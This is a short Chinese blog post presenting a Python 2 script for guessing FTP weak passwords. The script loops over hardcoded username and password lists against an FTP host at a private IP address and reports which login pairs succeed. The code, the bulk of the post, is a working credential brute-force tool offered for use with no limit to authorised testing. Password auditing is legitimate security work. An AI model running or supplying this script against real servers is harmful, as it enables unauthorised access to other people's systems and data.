FTP弱口令猜解【python指令碼】
阿新 • • 發佈:2019-02-04
ftp弱口令猜解
python指令碼:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import ftplib,time username_list=['root','ftp','admin'] password_list=['root','123','ftp','oracle'] def ftp(ip,port=21): for username in username_list: user =username.rstrip() for password in password_list: pwd = password.rstrip() try: ftp = ftplib.FTP() ftp.connect(ip,port, 10) ftp.login(user,pwd) ftp.quit() print '[+] FTP weak password: '+user,pwd except: print '[-] checking for '+user,pwd+' fail' if __name__ == '__main__': start_time = time.time() ftp('192.168.106.131') print "\n" print 'Checking for FTP weak password: %d 秒' % (time.time() - start_time)